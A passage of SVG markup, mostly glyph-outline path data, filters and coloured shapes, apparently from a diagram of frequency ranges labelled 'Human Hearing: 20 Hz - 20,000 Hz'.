0-2.982.966-1.185.966-1.786 2.746-.6 1.78-.6 4.7 0 4.638 1.628 6.693 1.359 1.707 3.74 1.707 1.808 0 2.993-.971 1.184-.972 1.78-2.752.595-1.78.595-4.677 0-2.448-.371-3.892-.37-1.443-1.022-2.448-.651-1.005-1.651-1.538-.999-.534-2.324-.534zm-33.95 14.229h-2.302v2.302h1.145q-.033 1.022-.337 1.567-.303.545-.943.826l.562.864q.977-.427 1.426-1.207.449-.781.449-2.05v-2.302zm-129.97-8.221q1.37 0 2.341 1.112.972 1.112.972 3.302 0 2.291-.944 3.364-.943 1.072-2.335 1.072-1.404 0-2.336-1.078-.933-1.078-.933-3.425 0-2.157.944-3.252.943-1.095 2.291-1.095zm-.146-1.673q-1.584 0-2.757.786-1.174.786-1.791 2.23-.618 1.443-.618 3.15 0 2.482 1.347 4.256 1.348 1.774 3.808 1.774 1.976 0 3.301-1.561.012 1.977-.146 2.595-.269 1.01-1.033 1.572-.764.561-2.167.561-1.303 0-2.055-.561-.562-.416-.686-1.325l-1.965-.292q-.045 1.931 1.269 2.892 1.314.96 3.448.96 1.797 0 3.027-.674 1.229-.674 1.796-1.836.568-1.163.567-3.948V304.65h-1.864v1.437q-1.37-1.707-3.481-1.707z"/></clipPath><clipPath id="d"><path d="M266.901 248.217h543.663v43.462H266.901zm326.58 15.237h-2.502v2.503h2.502v-2.503zm88.928 5.383h-6.75v2.21h6.75v-2.21zm-406.14-10.315h-2.368v17.896h2.368v-8.435h9.302v8.435h2.368v-17.896h-2.368v7.349h-9.302v-7.349zm42.798 4.639q-2.466 0-4.004 2.271-.378-1.075-1.3-1.673-.922-.598-2.362-.598-1.294 0-2.307.58t-1.624 1.532v-1.819h-1.965v12.964h2.197v-6.726q0-1.77.354-2.71t1.142-1.428q.787-.489 1.715-.489 1.22 0 1.757.733.538.732.537 2.197v8.423h2.198v-7.532q0-2.002.903-2.911.903-.91 2.271-.91.756 0 1.318.354.561.354.775.934.214.58.214 1.898v8.167h2.185v-8.899q0-2.222-1.038-3.29-1.037-1.068-2.966-1.068zm27.27 0q-2.697 0-4.126 2.136v-1.843h-1.977v12.964h2.197v-7.08q0-2.49 1.019-3.381 1.02-.892 2.424-.892.878 0 1.532.397.653.397.909 1.062t.256 2.008v7.886h2.197l.001-7.971q0-1.526-.123-2.136-.195-.94-.683-1.624-.488-.684-1.471-1.105-.983-.421-2.155-.421zm87.83-4.639h-2.197v17.896h2.197v-7.092q0-1.526.366-2.393.366-.867 1.227-1.373.861-.507 1.837-.507 1.306 0 2.02.751.715.751.715 2.399v8.215h2.197v-8.215q0-1.905-.458-2.906-.458-1.001-1.52-1.568-1.062-.568-2.502-.568-2.344 0-3.882 1.782v-6.421zm39.453 0h-12.073v17.896h2.368v-8.13h8.399v-2.112h-8.399v-5.542h9.705v-2.112zm18.848 0h-2.197v17.896h2.197v-17.896zm5.554 0h-2.197v17.896h2.197v-17.896zm18.701 1.978q1.99 0 2.912.818.921.818.921 2.087 0 .867-.476 1.606-.476.738-1.392 1.074-.915.335-2.539.335h-5.09v-5.92h5.664zm-.098-1.978h-7.934v17.896h2.368v-7.947h2.747q.915 0 1.318.086.549.134 1.08.476.531.342 1.203 1.196.671.855 1.709 2.466l2.368 3.723h2.978l-3.112-4.871q-.928-1.428-1.966-2.38-.488-.439-1.428-.891 2.576-.354 3.809-1.66t1.233-3.211q0-1.477-.745-2.697-.745-1.221-1.99-1.703-1.245-.483-3.638-.483zm29.81 4.639q-2.698 0-4.126 2.136v-1.843h-1.978v12.964h2.198v-7.08q0-2.49 1.019-3.381 1.019-.892 2.423-.892.879 0 1.532.397t.91 1.062q.256.665.256 2.008v7.886h2.197v-7.971q0-1.526-.122-2.136-.195-.94-.683-1.624-.489-.684-1.471-1.105-.983-.421-2.155-.421zm47.046 10.754h-2.502v2.503h2.502v-2.503zm18.445-15.466h-1.416q-.574 1.16-1.953 2.393-1.38 1.233-3.223 2.099v2.124q1.025-.378 2.313-1.135 1.288-.757 2.082-1.513v14.001h2.197v-17.969zm29.809.073h-2.368v17.896h2.368v-8.435h9.302v8.435h2.368v-17.896h-2.368v7.349h-9.302v-7.349zm25.257 4.932h-10.596v1.782h5.286q1.074 0 2.478-.073l-8.252 9.473v1.782h11.474v-1.892h-5.993q-1.294 0-2.771.11l1.355-1.502 7.019-8.227v-1.453zm32.458-5.005h-1.416q-.574 1.16-1.953 2.393-1.379 1.233-3.223 2.099v2.124q1.026-.378 2.314-1.135 1.287-.757 2.081-1.513v14.001h2.197v-17.969zm78.467.073h-2.368v17.896h2.368v-8.435h9.302v8.435h2.368v-17.896h-2.368v7.349h-9.302v-7.349zm25.256 4.932h-10.595v1.782h5.285q1.075 0 2.478-.073l-8.252 9.473v1.782h11.475v-1.892h-5.994q-1.294 0-2.771.11l1.355-1.502 7.019-8.227v-1.453zm-509.423 0h-2.198v8.032q0 1.404.135 2.051.195.964.677 1.63.482.665 1.477 1.105.995.439 2.142.439 2.6 0 4.114-2.197v1.904h1.965v-12.964h-2.197v6.946q0 1.66-.36 2.533t-1.227 1.379q-.866.507-1.855.507t-1.66-.495q-.672-.494-.879-1.361-.134-.598-.134-2.319v-7.19zm40.856 6.458v.805q0 1.453-.354 2.198-.463.964-1.452 1.519-.989.556-2.258.556-1.282 0-1.948-.586-.665-.586-.665-1.465 0-.574.305-1.044.306-.47.867-.714.562-.244 1.917-.439 2.392-.342 3.588-.83zm-2.795-6.751q-1.672 0-2.942.458-1.269.458-1.941 1.306-.671.848-.964 2.228l2.148.293q.354-1.38 1.093-1.923.738-.543 2.289-.543 1.66 0 2.502.745.623.549.623 1.892 0 .122-.013.573-1.257.44-3.918.757-1.306.159-1.953.33-.879.244-1.581.72t-1.135 1.264q-.434.787-.434 1.739 0 1.624 1.148 2.667 1.147 1.044 3.284 1.044 1.294 0 2.423-.427 1.129-.428 2.35-1.465.097.915.439 1.599h2.295q-.415-.745-.555-1.556-.141-.812-.141-3.876v-2.93q0-1.465-.11-2.026-.195-.904-.683-1.496-.489-.592-1.526-.982-1.038-.391-2.698-.391zm65.198 1.807q1.672 0 2.722 1.269.684.818.83 2.454h-7.239q.11-1.697 1.142-2.71 1.031-1.013 2.545-1.013zm-.025-1.807q-2.685 0-4.37 1.807-1.684 1.806-1.684 5.078 0 3.162 1.666 4.913 1.666 1.752 4.51 1.752 2.259 0 3.711-1.099 1.453-1.098 1.99-3.088l-2.27-.281q-.501 1.392-1.355 2.027-.855.634-2.063.634-1.624 0-2.71-1.135-1.087-1.135-1.209-3.272l9.668.001q.012-.391.012-.586 0-3.211-1.648-4.981t-4.248-1.77zm13.929 1.807q1.672 0 2.722 1.269.683.818.83 2.454h-7.239q.11-1.697 1.141-2.71 1.032-1.013 2.546-1.013zm-.025-1.807q-2.685 0-4.37 1.807-1.685 1.806-1.685 5.078 0 3.162 1.667 4.913 1.666 1.752 4.51 1.752 2.259 0 3.711-1.099 1.453-1.098 1.99-3.088l-2.271-.281q-.5 1.392-1.355 2.027-.854.634-2.063.634-1.623 0-2.71-1.135-1.086-1.135-1.208-3.272l9.668.001q.012-.391.012-.586 0-3.211-1.648-4.981t-4.248-1.77zm13.819 0q-1.673 0-3.095.788-1.422.787-2.118 2.362-.696 1.574-.696 3.674 0 3.247 1.618 4.986 1.617 1.74 4.278 1.74 2.124 0 3.583-1.263 1.459-1.264 1.813-3.498l-2.161-.281q-.232 1.648-1.098 2.442-.867.793-2.161.793-1.611 0-2.612-1.184-1.001-1.184-1.001-3.796 0-2.576 1.037-3.766 1.038-1.19 2.698-1.19 1.099 0 1.874.659.775.659 1.08 1.965l2.136-.329q-.378-1.966-1.721-3.034-1.343-1.068-3.454-1.068zm53.857.293h-2.197v8.032q0 1.404.134 2.051.195.964.677 1.63.483.665 1.478 1.105.994.439 2.142.439 2.6 0 4.114-2.197v1.904h1.965v-12.964h-2.197v6.946q0 1.66-.36 2.533-.361.873-1.227 1.379-.867.507-1.856.507-.988 0-1.66-.495-.671-.494-.879-1.361-.134-.598-.134-2.319v-7.19zm56.14 6.458v.805q0 1.453-.354 2.198-.464.964-1.453 1.519-.988.556-2.258.556-1.282 0-1.947-.586t-.665-1.465q0-.574.305-1.044.305-.47.867-.714.561-.244 1.916-.439 2.393-.342 3.589-.83zm-2.795-6.751q-1.673 0-2.942.458-1.27.458-1.941 1.306-.672.848-.964 2.228l2.148.293q.354-1.38 1.092-1.923.739-.543 2.289-.543 1.66 0 2.503.745.622.549.622 1.892 0 .122-.012.573-1.257.44-3.918.757-1.307.159-1.953.33-.879.244-1.581.72t-1.136 1.264q-.433.787-.433 1.739 0 1.624 1.148 2.667 1.147 1.044 3.283 1.044 1.294 0 2.423-.427 1.13-.428 2.35-1.465.098.915.44 1.599h2.295q-.415-.745-.556-1.556-.14-.812-.14-3.876v-2.93q0-1.465-.11-2.026-.195-.904-.684-1.496-.488-.592-1.526-.982-1.037-.391-2.697-.391zm41.577 1.807q1.672 0 2.722 1.269.684.818.83 2.454h-7.239q.11-1.697 1.142-2.71 1.031-1.013 2.545-1.013zm-.025-1.807q-2.685 0-4.37 1.807-1.684 1.806-1.684 5.078 0 3.162 1.666 4.913 1.666 1.752 4.51 1.752 2.259 0 3.711-1.099 1.453-1.098 1.99-3.088l-2.27-.281q-.501 1.392-1.355 2.027-.855.634-2.063.634-1.624 0-2.71-1.135-1.087-1.135-1.209-3.272l9.668.001q.012-.391.012-.586 0-3.211-1.648-4.981-1.647-1.77-4.248-1.77zm-205.92-4.944q-1.807 0-3.284.611-1.477.61-2.246 1.788-.769 1.178-.769 2.533 0 1.233.629 2.228.629.995 1.91 1.666.989.525 3.455 1.117t3.186.873q1.123.427 1.611 1.056.488.628.488 1.471 0 .83-.506 1.532-.507.701-1.544 1.104-1.038.403-2.393.403-1.526 0-2.746-.531-1.221-.531-1.801-1.391-.58-.861-.739-2.204l-2.233.195q.048 1.795.982 3.217.934 1.422 2.576 2.13t4.071.708q1.916 0 3.448-.702t2.35-1.965q.818-1.263.818-2.692 0-1.44-.744-2.545-.745-1.105-2.308-1.825-1.074-.488-3.961-1.141-2.887-.653-3.57-1.276-.696-.622-.696-1.587 0-1.111.983-1.898.982-.787 3.131-.787 2.063 0 3.119.866 1.055.867 1.238 2.564l2.271-.171q-.061-1.575-.879-2.82-.818-1.245-2.337-1.886-1.52-.641-3.51-.641zm255.872 2.039q1.245 0 2.081.824.836.824.836 2.032 0 1.16-.812 1.96-.811.799-2.081.799-1.306 0-2.124-.806-.818-.805-.818-2.075 0-1.123.83-1.928.83-.806 2.087-.806zm-.037 7.41q1.587 0 2.643 1.037 1.056 1.038 1.056 2.625 0 1.562-1.026 2.575-1.025 1.014-2.6 1.014-1.013 0-1.892-.483-.879-.482-1.324-1.361-.446-.879-.446-1.819 0-1.538 1.019-2.563 1.02-1.025 2.57-1.026zm.012-9.217q-2.331 0-3.735 1.331-1.404 1.33-1.404 3.284 0 1.293.659 2.221.659.928 2.027 1.428-1.636.428-2.521 1.606-.885 1.178-.885 2.923 0 2.344 1.623 3.913 1.624 1.568 4.273 1.568 2.649 0 4.272-1.562 1.624-1.563 1.624-3.858 0-1.66-.861-2.856-.86-1.196-2.508-1.734 1.33-.5 1.983-1.422.653-.921.653-2.166 0-1.954-1.428-3.315t-3.772-1.361zm87.549 1.807q1.245 0 2.081.824.836.824.836 2.032 0 1.16-.811 1.96-.812.799-2.082.799-1.306 0-2.124-.806-.817-.805-.817-2.075 0-1.123.83-1.928.83-.806 2.087-.806zm-.037 7.41q1.587 0 2.643 1.037 1.056 1.038 1.056 2.625 0 1.562-1.025 2.575-1.026 1.014-2.6 1.014-1.014 0-1.892-.483-.879-.482-1.325-1.361-.445-.879-.445-1.819 0-1.538 1.019-2.563 1.019-1.025 2.569-1.026zm.013-9.217q-2.332 0-3.736 1.331-1.404 1.33-1.404 3.284 0 1.293.66 2.221.659.928 2.026 1.428-1.636.428-2.521 1.606-.885 1.178-.885 2.923 0 2.344 1.624 3.913 1.623 1.568 4.272 1.568t4.273-1.562q1.623-1.563 1.623-3.858 0-1.66-.86-2.856-.861-1.196-2.509-1.734 1.331-.5 1.984-1.422.653-.921.653-2.166 0-1.954-1.428-3.315-1.429-1.361-3.773-1.361zm20.825 1.819q1.538 0 2.569 1.453 1.032 1.452 1.032 5.871 0 4.395-1.032 5.86-1.031 1.465-2.545 1.465-1.513 0-2.545-1.459-1.031-1.459-1.031-5.866 0-4.406 1.135-6.042.903-1.282 2.417-1.282zm.024-1.819q-1.953 0-3.241 1.05t-1.941 2.985q-.653 1.934-.653 5.108 0 5.042 1.77 7.276 1.477 1.855 4.065 1.855 1.966 0 3.253-1.056 1.288-1.056 1.935-2.99.647-1.935.647-5.085 0-2.661-.403-4.229-.402-1.569-1.111-2.662-.708-1.092-1.794-1.672-1.086-.58-2.527-.58zm13.88 1.819q1.538 0 2.569 1.453 1.032 1.452 1.032 5.871 0 4.395-1.032 5.86-1.031 1.465-2.545 1.465t-2.545-1.459q-1.032-1.459-1.032-5.866 0-4.406 1.136-6.042.903-1.282 2.417-1.282zm.024-1.819q-1.953 0-3.241 1.05t-1.941 2.985q-.653 1.934-.653 5.108 0 5.042 1.77 7.276 1.477 1.855 4.065 1.855 1.965 0 3.253-1.056t1.935-2.99q.647-1.935.647-5.085 0-2.661-.403-4.229-.403-1.569-1.111-2.662-.708-1.092-1.794-1.672-1.087-.58-2.527-.58zm13.879 1.819q1.538 0 2.57 1.453 1.031 1.452 1.031 5.871 0 4.395-1.031 5.86-1.032 1.465-2.545 1.465-1.514 0-2.545-1.459-1.032-1.459-1.032-5.866 0-4.406 1.135-6.042.904-1.282 2.417-1.282zm.025-1.819q-1.953 0-3.241 1.05t-1.941 2.985q-.653 1.934-.653 5.108 0 5.042 1.77 7.276 1.477 1.855 4.065 1.855 1.965 0 3.253-1.056t1.935-2.99q.647-1.935.647-5.085 0-2.661-.403-4.229-.403-1.569-1.111-2.662-.708-1.092-1.794-1.672-1.087-.58-2.527-.58zm-36.902 15.466h-2.502v2.503h1.245q-.037 1.111-.367 1.703-.329.592-1.025.897l.61.94q1.062-.464 1.551-1.312.488-.849.488-2.228v-2.503zm-339.356-9.033q1.417 0 2.436 1.233t1.019 3.711q0 2.6-1.044 3.839-1.043 1.239-2.508 1.239-1.441 0-2.454-1.196-1.013-1.196-1.013-3.699 0-2.502 1.08-3.814 1.081-1.313 2.484-1.313zm.208-1.721q-1.27 0-2.161.495-.891.494-1.599 1.483v-1.685h-2.002v17.932h2.198v-6.311q.561.708 1.434 1.172.873.464 1.971.464 1.502 0 2.863-.848 1.361-.849 2.075-2.442.714-1.593.714-3.583 0-1.855-.647-3.411-.647-1.557-1.916-2.411-1.27-.855-2.93-.855zm75.073-4.944h-1.574q-2.295 3.064-3.394 6.153-.94 2.661-.94 5.566 0 3.296 1.257 6.372 1.258 3.076 3.076 5.371h1.575q-3.65-5.859-3.65-11.731 0-2.307.525-4.59.428-1.831 1.172-3.515.476-1.087 1.953-3.626zm100.574 6.763q1.489 0 2.545 1.209 1.056 1.208 1.056 3.588 0 2.491-1.025 3.656-1.026 1.166-2.539 1.166-1.526 0-2.539-1.172-1.014-1.172-1.014-3.723 0-2.344 1.026-3.534 1.025-1.19 2.49-1.19zm-.159-1.819q-1.721 0-2.997.855-1.275.854-1.947 2.423-.671 1.568-.671 3.424 0 2.698 1.465 4.626 1.465 1.929 4.138 1.929 2.149 0 3.589-1.697.012 2.149-.159 2.82-.293 1.099-1.123 1.709-.83.61-2.356.61-1.416 0-2.234-.61-.61-.452-.744-1.44l-2.136-.318q-.049 2.1 1.379 3.144 1.428 1.043 3.747 1.043 1.954 0 3.29-.732 1.337-.733 1.953-1.996.617-1.263.617-4.291v-11.206h-2.027v1.563q-1.489-1.856-3.784-1.856zm24.475-4.944h-1.574q1.489 2.564 1.965 3.662.745 1.685 1.16 3.516.525 2.258.525 4.553 0 5.872-3.65 11.731h1.574q1.807-2.295 3.07-5.371 1.264-3.076 1.264-6.372 0-2.905-.94-5.566-1.099-3.089-3.394-6.153z"/></clipPath><filter id="c"><feGaussianBlur in="SourceAlpha" stdDeviation="3"/><feOffset dy="3" result="offsetblur"/><feFlood flood-color="#000"/><feComposite in2="offsetblur" operator="in"/></filter><filter id="e"><feGaussianBlur in="SourceAlpha" stdDeviation="3"/><feOffset dy="3" result="offsetblur"/><feFlood flood-color="#000"/><feComposite in2="offsetblur" operator="in"/></filter><linearGradient id="a" gradientUnits="userSpaceOnUse" x1="22" y1="266.227" x2="1124.399" y2="266.227"><stop offset=".655" stop-color="#0700FF"/><stop offset="1" stop-color="#0700FF" stop-opacity=".248"/></linearGradient></defs><path d="m1123.11 180.123 44.591 43.052 44.591 43.052-44.591 43.052-44.591 43.051v-21.707c-.158.278-.04.128-.429.292H22V201.538h1100.681c.389.164.271.015.429.293v-21.708z" fill="url(#a)" transform="translate(-20.5 -142)"/><g stroke="#3C3C3C" stroke-width="3"><path d="M99.152 43.398c7.522-15.095 27.674-25.899 51.354-25.899" fill="none"/><path d="m95.068 42.416 1.464 11.872 6.703-9.907z" fill="#3C3C3C"/></g><path d="M1.5 1.5v208.811"/><path d="M1.5 1.5v208.811" stroke="#333" fill="none"/><path d="M258.5 1.5v208.811"/><path d="M258.5 1.5v208.811" stroke="#CCC" fill="none"/><path d="M515.5 1.5v208.811"/><path d="M515.5 1.5v208.811" stroke="#CCC" fill="none"/><path d="M771.5 1.5v208.811"/><path d="M771.5 1.5v208.811" stroke="#CCC" fill="none"/><path d="M1028.5 1.5v208.811"/><path d="M1028.5 1.5v208.811" stroke="#CCC" fill="none"/><path d="M4.5 163.999v-36 36z"/><path d="M29.5 102.664V59.538h127c1.105 0 2 1.073 2 2.396v38.334c0 1.323-.895 2.396-2 2.396z" fill="#FF0"/><path d="M4 188.916V145.79h1024c1.105 0 2 1.072 2 2.396v38.334c0 1.323-.895 2.396-2 2.396z" fill="#3F8422"/><path d="M538.327 304.38q2.111 0 3.481 1.707v-1.437h1.864v10.309q.001 2.785-.567 3.948-.567 1.162-1.796 1.836-1.23.674-3.027.674-2.134 0-3.448-.96-1.314-.961-1.269-2.892l1.965.292q.124.909.686 1.325.752.561 2.055.561 1.403 0 2.167-.561.764-.562 1.033-1.572.158-.618.146-2.595-1.325 1.561-3.301 1.561-2.46 0-3.808-1.774-1.347-1.774-1.347-4.256 0-1.707.618-3.15.617-1.444 1.791-2.23 1.173-.786 2.757-.786zm.146 1.673q-1.348 0-2.291 1.095-.944 1.095-.944 3.252 0 2.347.933 3.425.932 1.078 2.336 1.078 1.392 0 2.335-1.072.944-1.073.944-3.364 0-2.19-.972-3.302-.971-1.112-2.341-1.112zm129.97 8.221v2.302q0 1.269-.449 2.05-.449.78-1.426 1.207l-.562-.864q.64-.281.943-.826.304-.545.337-1.567h-1.145v-2.302h2.302zm33.95-14.229q1.325 0 2.324.534 1 .533 1.651 1.538.652 1.005 1.022 2.448.371 1.444.371 3.892 0 2.897-.595 4.677-.596 1.78-1.78 2.752-1.185.971-2.993.971-2.381 0-3.74-1.707-1.628-2.055-1.628-6.693 0-2.92.6-4.7.601-1.78 1.786-2.746t2.982-.966zm-.023 1.674q-1.392 0-2.223 1.179-1.045 1.505-1.045 5.559t.949 5.396q.949 1.342 2.342 1.342 1.392 0 2.341-1.348.949-1.347.949-5.39 0-4.066-.949-5.402-.949-1.336-2.364-1.336zm-12.769-1.674q1.325 0 2.325.534.999.533 1.651 1.538.651 1.005 1.022 2.448.37 1.444.37 3.892 0 2.897-.595 4.677-.595 1.78-1.78 2.752-1.185.971-2.993.971-2.381 0-3.739-1.707-1.629-2.055-1.629-6.693 0-2.92.601-4.7.601-1.78 1.786-2.746 1.184-.966 2.981-.966zm-.022 1.674q-1.393 0-2.224 1.179-1.044 1.505-1.044 5.559t.949 5.396q.949 1.342 2.341 1.342 1.393 0 2.342-1.348.949-1.347.949-5.39 0-4.066-.949-5.402-.949-1.336-2.364-1.336zm-12.769-1.674q1.325 0 2.324.534 1 .533 1.651 1.538.652 1.005 1.022 2.448.371 1.444.371 3.892 0 2.897-.595 4.677-.596 1.78-1.78 2.752-1.185.971-2.993.971-2.381 0-3.74-1.707-1.628-2.055-1.628-6.693 0-2.92.6-4.7.601-1.78 1.786-2.746t2.982-.966zm-.023 1.674q-1.392 0-2.223 1.179-1.045 1.505-1.045 5.559t.949 5.396q.949 1.342 2.342 1.342 1.392 0 2.341-1.348.949-1.347.949-5.39 0-4.066-.949-5.402-.949-1.336-2.364-1.336zm-19.159-1.674q1.325 0 2.325.534.999.533 1.651 1.538.651 1.005 1.022 2.448.37 1.444.37 3.892 0 2.897-.595 4.677-.595 1.78-1.78 2.752-1.185.971-2.993.971-2.381 0-3.74-1.707-1.628-2.055-1.628-6.693 0-2.92.601-4.7.601-1.78 1.785-2.746 1.185-.966 2.982-.966zm-.022 1.674q-1.393 0-2.224 1.179-1.044 1.505-1.044 5.559t.949 5.396q.949 1.342 2.341 1.342 1.393 0 2.342-1.348.949-1.347.949-5.39 0-4.066-.949-5.402-.949-1.336-2.364-1.336zm-80.5-1.674q1.325 0 2.324.534 1 .533 1.651 1.538.652 1.005 1.022 2.448.371 1.444.371 3.892 0 2.897-.595 4.677-.596 1.78-1.78 2.752-1.185.971-2.993.971-2.381 0-3.74-1.707-1.629-2.055-1.629-6.693 0-2.92.601-4.7.601-1.78 1.786-2.746t2.982-.966zm-.023 1.674q-1.392 0-2.223 1.179-1.045 1.505-1.045 5.559t.949 5.396q.949 1.342 2.342 1.342 1.392 0 2.341-1.348.949-1.347.949-5.39 0-4.066-.949-5.402-.949-1.336-2.364-1.336zm-76.457 2.661q1.528 0 2.482.36.955.359 1.404.904.449.544.629 1.375.101.517.101 1.865v2.695q0 2.819.129 3.566.129.746.511 1.431h-2.111q-.315-.628-.405-1.471-1.123.955-2.161 1.348-1.039.393-2.23.393-1.965 0-3.021-.96-1.055-.96-1.055-2.454 0-.876.398-1.6.399-.725 1.045-1.163.646-.438 1.454-.662.595-.158 1.797-.304 2.448-.292 3.605-.696.011-.415.011-.528 0-1.235-.573-1.74-.774-.686-2.302-.686-1.426 0-2.106.5-.679.5-1.005 1.769l-1.976-.27q.269-1.269.887-2.049.618-.781 1.786-1.202 1.168-.421 2.706-.421zm2.572 6.211q-1.101.449-3.302.763-1.246.18-1.763.405-.517.224-.797.657-.281.432-.281.96 0 .808.612 1.347.612.539 1.791.539 1.168 0 2.078-.511.91-.511 1.336-1.398.326-.685.326-2.021v-.741zm-15.509-6.211q2.392 0 3.908 1.629 1.516 1.628 1.516 4.582 0 .179-.011.539h-8.895q.113 1.965 1.112 3.009 1 1.045 2.493 1.045 1.112 0 1.898-.584.786-.584 1.247-1.864l2.089.258q-.495 1.83-1.831 2.841-1.336 1.011-3.414 1.011-2.617 0-4.15-1.612-1.533-1.611-1.533-4.52 0-3.01 1.55-4.672t4.021-1.662zm.022 1.662q-1.392 0-2.341.932-.949.932-1.05 2.494l6.659-.001q-.135-1.504-.763-2.257-.966-1.168-2.505-1.168zm-48.459-1.662q1.527 0 2.482.36.954.359 1.403.904.45.544.629 1.375.101.517.101 1.865v2.695q0 2.819.13 3.566.129.746.511 1.431h-2.112q-.314-.628-.404-1.471-1.123.955-2.162 1.348-1.039.393-2.229.393-1.966 0-3.021-.96-1.056-.96-1.056-2.454 0-.876.399-1.6.399-.725 1.044-1.163.646-.438 1.455-.662.595-.158 1.796-.304 2.449-.292 3.605-.696.012-.415.012-.528 0-1.235-.573-1.74-.775-.686-2.302-.686-1.427 0-2.106.5-.679.5-1.005 1.769l-1.977-.27q.27-1.269.887-2.049.618-.781 1.786-1.202 1.168-.421 2.707-.421zm2.571 6.211q-1.1.449-3.301.763-1.247.18-1.763.405-.517.224-.798.657-.281.432-.281.96 0 .808.612 1.347.613.539 1.792.539 1.168 0 2.077-.511.91-.511 1.337-1.398.325-.685.325-2.021v-.741zm-37.588-5.941v6.614q0 1.584.124 2.134.191.798.808 1.252.618.455 1.528.455.909 0 1.707-.466.797-.466 1.128-1.269.332-.803.332-2.33v-6.39h2.021v11.926h-1.808v-1.752q-1.393 2.022-3.785 2.022-1.055 0-1.971-.404-.915-.405-1.359-1.017-.443-.612-.623-1.499-.123-.595-.123-1.887v-7.389h2.021zm338.273 0v1.336l-6.458 7.569-1.246 1.382q1.359-.101 2.549-.101h5.514v1.74h-10.556v-1.639l7.592-8.715q-1.292.067-2.28.067h-4.863v-1.639h9.748zm-23.236-4.538v6.761h8.558v-6.761h2.178v16.464h-2.178v-7.76h-8.558v7.76h-2.179v-16.464h2.179zm-74.334-.067q2.369 0 3.751 1.314 1.381 1.314 1.381 3.257 0 .988-.404 1.943-.405.954-1.342 2.01-.938 1.056-3.117 2.898-1.819 1.527-2.336 2.072-.516.544-.853 1.095h8.074v1.942H639.21q-.022-.73.236-1.403.416-1.112 1.331-2.19.915-1.078 2.645-2.493 2.684-2.202 3.627-3.488.943-1.285.943-2.431 0-1.202-.859-2.027-.859-.825-2.24-.825-1.46 0-2.336.875-.876.876-.887 2.426l-2.078-.213q.213-2.325 1.606-3.543 1.393-1.219 3.74-1.219zm-27.717 4.605v1.336l-6.458 7.569-1.246 1.382q1.359-.101 2.549-.101h5.514v1.74h-10.556v-1.639l7.591-8.715q-1.291.067-2.279.067h-4.863v-1.639h9.748zm-23.236-4.538v6.761h8.558v-6.761h2.178v16.464h-2.178v-7.76h-8.558v7.76h-2.179v-16.464h2.179zm-29.57-.067q2.37 0 3.751 1.314 1.382 1.314 1.382 3.257 0 .988-.405 1.943-.404.954-1.342 2.01-.938 1.056-3.116 2.898-1.82 1.527-2.336 2.072-.517.544-.854 1.095h8.075v1.942h-10.882q-.023-.73.236-1.403.415-1.112 1.33-2.19.916-1.078 2.645-2.493 2.684-2.202 3.628-3.488.943-1.285.943-2.431 0-1.202-.859-2.027-.859-.825-2.241-.825-1.46 0-2.336.875-.876.876-.887 2.426l-2.077-.213q.213-2.325 1.605-3.543 1.393-1.219 3.74-1.219zm-14.824 14.229v2.302h-2.302v-2.302h2.302zm-22.832-9.894q1.079 0 1.983.388.904.387 1.353 1.016.449.629.629 1.494.112.561.112 1.965v7.333h-2.021v-7.254q0-1.236-.236-1.848-.236-.612-.837-.977t-1.409-.365q-1.292 0-2.23.82-.937.82-.937 3.111v6.513h-2.022V304.65h1.82v1.695q1.314-1.965 3.795-1.965zm-8.692.27v11.926h-2.021V304.65h2.021zm-5.312-.27q1.022 0 2.078.651l-.697 1.876q-.741-.438-1.482-.438-.663 0-1.19.399-.528.398-.753 1.106-.337 1.078-.337 2.358v6.244h-2.021V304.65h1.819v1.808q.696-1.269 1.286-1.674.59-.404 1.297-.404zm-44.068-4.268v6.761h8.557v-6.761h2.179v16.464h-2.179v-7.76h-8.557v7.76h-2.179v-16.464h2.179zm-16.071 4.268q1.078 0 1.982.388.904.387 1.353 1.016.45.629.629 1.494.113.561.113 1.965v7.333h-2.022v-7.254q0-1.236-.236-1.848-.236-.612-.836-.977-.601-.365-1.41-.365-1.291 0-2.229.82-.938.82-.938 3.111v6.513h-2.021V304.65h1.819v1.695q1.314-1.965 3.796-1.965zm-25.089 0q1.774 0 2.729.983.955.982.955 3.026v8.187H429.2v-7.513q0-1.213-.196-1.746-.197-.534-.713-.859-.517-.326-1.213-.326-1.258 0-2.089.837-.831.836-.831 2.678v6.929h-2.022v-7.749q0-1.347-.494-2.021-.494-.674-1.617-.674-.853 0-1.578.449-.724.45-1.05 1.314-.325.865-.325 2.493l-.001 6.188h-2.021V304.65h1.808v1.673q.562-.876 1.494-1.409.932-.534 2.122-.534 1.326 0 2.173.55.848.551 1.196 1.539 1.416-2.089 3.684-2.089zm-39.374-4.268v6.761h8.558v-6.761h2.178v16.464h-2.178v-7.76h-8.558v7.76h-2.179v-16.464h2.179zm243.252 9.49v2.033h-6.21v-2.033h6.21zm-81.814-4.952v2.302h-2.302v-2.302h2.302zm-31.524-4.538v2.325h-2.021v-2.325h2.021z" clip-path="url(#b)" filter="url(#c)" fill="rgba(0,0,0,0.85)" transform="translate(-20.5 -142)"/><text transform="translate(543.247 167.576)">
-          <tspan x="-179.615" y="7" font-family="Arial" font-size="23" fill="#FFF">Human Hearing: 20 Hz - 20,000 Hz</tspan>
-        </text><path d="M19 148.708v-43.126h907c1.105 0 2 1.073 2 2.396v38.334c0 1.323-.895 2.396-2 2.396z" fill="#C00"/><path d="M583.483 258.217q2.295 3.064 3.394 6.153.94 2.661.94 5.566 0 3.296-1.264 6.372-1.263 3.076-3.07 5.371h-1.574q3.65-5.859 3.65-11.731 0-2.295-.525-4.553-.415-1.831-1.16-3.516-.476-1.098-1.965-3.662h1.574zm-24.475 4.944q2.295 0 3.784 1.856v-1.563h2.027v11.206q0 3.028-.617 4.291-.616 1.263-1.953 1.996-1.336.732-3.29.732-2.319 0-3.747-1.043-1.428-1.044-1.379-3.144l2.136.318q.134.988.744 1.44.818.61 2.234.61 1.526 0 2.356-.61.83-.61 1.123-1.709.171-.671.159-2.82-1.44 1.697-3.589 1.697-2.673 0-4.138-1.929-1.465-1.928-1.465-4.626 0-1.856.671-3.424.672-1.569 1.947-2.423 1.276-.855 2.997-.855zm.159 1.819q-1.465 0-2.49 1.19-1.026 1.19-1.026 3.534 0 2.551 1.014 3.723 1.013 1.172 2.539 1.172 1.513 0 2.539-1.166 1.025-1.165 1.025-3.656 0-2.38-1.056-3.588-1.056-1.209-2.545-1.209zm-100.574-6.763q-1.477 2.539-1.953 3.626-.744 1.684-1.172 3.515-.525 2.283-.525 4.59 0 5.872 3.65 11.731h-1.575q-1.818-2.295-3.076-5.371-1.257-3.076-1.257-6.372 0-2.905.94-5.566 1.099-3.089 3.394-6.153h1.574zm-75.073 